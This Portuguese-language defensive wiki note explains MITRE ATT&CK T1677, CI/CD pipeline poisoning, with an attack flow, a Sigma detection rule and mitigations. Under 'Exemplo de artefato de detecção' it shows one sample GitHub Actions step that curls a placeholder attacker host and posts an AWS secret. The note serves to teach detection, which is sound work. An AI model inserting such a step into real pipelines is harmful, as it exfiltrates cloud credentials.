# T1677 - Execução por Envenenamento de Pipeline
## Descrição
Atacantes podem comprometer pipelines de integração e entrega contínua (CI/CD) injetando código malicioso diretamente no processo de build. Essa técnica é especialmente perigosa porque os pipelines normalmente operam com permissões elevadas e acesso a segredos sensíveis - como chaves de API, credenciais de nuvem e tokens de acesso - que são necessários para compilar, testar e implantar aplicações.
O envenenamento de pipeline pode ocorrer de três formas principais. Na **execução direta**, o atacante modifica o arquivo de configuração do CI (como `gitlab-ci.yml` ou `.github/workflows/*.yml`) inserindo comandos que exfiltram credenciais para um servidor remoto ou as exportam como artefatos de build. Na **execução indireta**, o código malicioso é inserido em arquivos referênciados pela configuração do CI - como Makefiles, scripts de lint, testes unitários ou scripts de build -, o que dificulta a detecção imediata porque a configuração principal parece legítima. Na **execução pública**, o atacante não precisa ter acesso direto ao repositório: basta criar um pull request malicioso a partir de um fork para acionar parte do pipeline - situação particularmente crítica no GitHub Actions com o gatilho `pull_request_target`.
Pipelines que utilizam self-hosted runners representam um risco adicional: uma vez comprometido o processo de build, o atacante pode executar código arbitrário dentro da rede interna da organização, usando o agente de CI como ponto de pivô para movimento lateral.
**Contexto Brasil/LATAM:** A adoção acelerada de práticas DevOps no Brasil - especialmente em fintechs, empresas de e-commerce e startups de tecnologia - aumentou significativamente a superfície de ataque relacionada a pipelines CI/CD. Muitas organizações brasileiras ainda operam pipelines com permissões excessivamente amplas e pouca separação de privilégios entre ambientes de desenvolvimento e produção, o que torna essa técnica particularmente eficaz no contexto local.
## Attack Flow
```mermaid
graph TB
A[Acesso inicial ao repositório<br/>ou PR malicioso em fork] --> B[Modificação do pipeline<br/>ou arquivos referenciados]
B --> C[ENVENENAMENTO DO PIPELINE<br/>T1677]
C --> D[Exfiltração de segredos<br/>Tokens, chaves, credenciais]
D --> E[Movimento lateral<br/>ou Supply Chain Compromise]
E --> F[Comprometimento de ambientes<br/>de produção ou clientes downstream]
```
## Como Funciona
1. **Preparação** - O atacante obtém acesso de escrita ao repositório (via comprometimento de conta, engenharia social ou acesso legítimo mal gerenciado) ou prepara um fork malicioso para criar pull requests que acionem o pipeline alvo.
2. **Execução** - O código malicioso é inserido no arquivo de configuração do CI ou em arquivos por ele referênciados. O pipeline é acionado normalmente - por um commit, push ou pull request - e executa o código injetado com as permissões e segredos disponíveis no ambiente de build.
3. **Pós-execução** - Os segredos capturados são exfiltrados para infraestrutura controlada pelo atacante. Com essas credenciais, ele pode acessar registros de containers, ambientes de nuvem, sistemas de produção ou injetar componentes maliciosos em artefatos que serão distribuídos para clientes, caracterizando um [[t1195-supply-chain-compromise|Supply Chain Compromise]].
**Exemplo de artefato de detecção:**
```bash
# Comando suspeito em workflow GitHub Actions - exfiltração de segredos via variável de ambiente
- name: Build
run: |
curl -s -X POST https://attacker.example.com/collect \
-d "token=${{ secrets.AWS_ACCESS_KEY_ID }}"
```
## Detecção
**Fontes de dados:** Logs de auditoria do GitHub/GitLab/Bitbucket, histórico de execuções de pipeline (CI/CD audit trail), logs de rede de runners (tráfego de saída inesperado), alertas de mudança em arquivos de configuração de workflow.
```yaml
title: Suspicious Outbound Connection from CI/CD Runner
id: a3f1c9e2-7b44-4d1a-9f28-8e3c0b5d6a12
status: experimental
description: Detecta conexão de saída suspeita originada de processo de CI/CD, possível exfiltração de segredos
logsource:
category: network_connection
product: linux
detection:
selection:
Initiated: true
Image|contains:
- '/runner/'
- '/buildkite-agent/'
- '/github-actions/'
DestinationPort:
- 443
- 80
filter_known:
DestinationHostname|contains:
- 'github.com'
- 'gitlab.com'
- 'amazonaws.com'
- 'pkg.go.dev'
- 'pypi.org'
condition: selection and not filter_known
falsepositives:
- Dependências legítimas em registros novos ainda não mapeados
- Testes de integração com serviços externos aprovados
level: medium
tags:
- attack.execution
- attack.t1677
```
## Mitigação
| Mitigação | Recomendação Prática |
|-----------|---------------------|
| [[m1018-user-account-management\|M1018 - User Account Management]] | Restringir quem pode modificar arquivos de configuração de CI/CD. Aplicar revisão obrigatória (code review com aprovação de dois revisores) para mudanças em `.github/workflows/`, `.gitlab-ci.yml` e arquivos de build. Nunca conceder acesso de escrita direta a branches protegidas sem revisão. |
| [[m1054-software-configuration\|M1054 - Software Configuration]] | Evitar o gatilho `pull_request_target` em GitHub Actions para repositórios públicos. Isolar secrets por ambiente (dev/staging/prod). Usar runners efêmeros (sem estado persistente entre builds). Auditar regularmente as permissões de tokens de pipeline e rotacionar segredos após qualquer suspeita de comprometimento. |
## Referências
*Fonte: [MITRE ATT&CK - T1677](https://attack.mitre.org/techniques/T1677/)*
## Notas Relacionadas
- [[_defenses|Hub de Defesas]] - controles preventivos e detecções
- [[t1195-002-compromise-software-supply-chain|T1195.002 - Supply Chain Compromise]] - técnica relacionada de cadeia de suprimentos
- [[ds0022-file|DS0022 - File]] - monitoramento de artefatos de pipeline